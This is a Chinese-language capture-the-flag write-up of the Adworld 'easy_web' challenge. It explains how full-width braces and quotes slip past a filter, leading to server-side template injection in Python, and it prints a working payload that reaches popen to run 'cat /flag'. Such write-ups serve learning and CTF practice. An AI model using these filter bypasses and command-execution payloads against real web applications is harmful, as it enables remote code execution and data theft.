## easy\_web

首先打开页面是一个有回显的输入框,那么能联想到的就是xss,ssti了,结合adworld很喜欢ssti,首先检测是否是ssti

首先会发现输入的都可以回显,但是在注入{构造ssti的时候却发现有禁止。那么肯定是ssti无疑了。

首先思考能否通过url编码构造

|                 |     | 子符规氾器 |    |  |  |  |
|-----------------|-----|-------|----|--|--|--|
| 将您输入的文本标准化的在线工具 |     |       |    |  |  |  |
|                 |     |       |    |  |  |  |
|                 | %7b |       | Go |  |  |  |
|                 |     | %7b   |    |  |  |  |
|                 |     |       |    |  |  |  |
|                 |     |       |    |  |  |  |

没有识别,再尝试Unicode编码,只是纯粹的文字内容而已没有任何注入

| 字符规范器           |    |  |
|-----------------|----|--|
| 将您输入的文本标准化的在线工具 |    |  |
|                 |    |  |
| {{ 7*7 }}       | Go |  |
| {{ 7*7 }}       |    |  |
|                 |    |  |

使用全角标点可以绕过识别

字符规范器将您输入的文本标准化的在线工具

| { {7*7} } |    | Go |
|-----------|----|----|
|           | 49 |    |

并且在wp中提到的特殊字符网站<u>http://www.fhdq.net/</u>,可以使用一绕过,但我不明白这个是如何能做到{闭合的同等效果的?

## 字符规范器 将您输入的文本标准化的在线工具 { {().\_\_class\_\_.\_bases\_[0].\_\_subclasses\_\_()} } [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict\_keys'>, <class 'dict\_values'>, <class 'dict\_items'>, <class 'odict\_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin\_function\_or\_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset\_descriptor'>, <class 'wrapper\_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member\_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange\_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod\_descriptor'>, <class 'method\_descriptor'>, <class 'callable\_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine\_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt\_array\_node'>, <class 'hamt\_bitmap\_node'>, <class 'hamt\_collision\_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '\_frozen\_importlib.\_ModuleLock'>, <class '\_frozen\_importlib.\_DummyModuleLock'>, <class '\_frozen\_importlib.\_ModuleLockManager'>, <class '\_frozen\_importlib.\_installed\_safely'>, <class '\_frozen\_importlib.ModuleSpec'>, <class '\_frozen\_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '\_frozen\_importlib.FrozenImporter'>, <class

之后进行简单的ssti注入,配合脚本找关键函数就好了

```
{ {().__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.popen('cat /flag').read()} }
```

但是这里遇到问题是"和'都被过滤,无法构造出popen的命令shell,如何绕过呢,在刚才的网站找到',就直接找到flag了

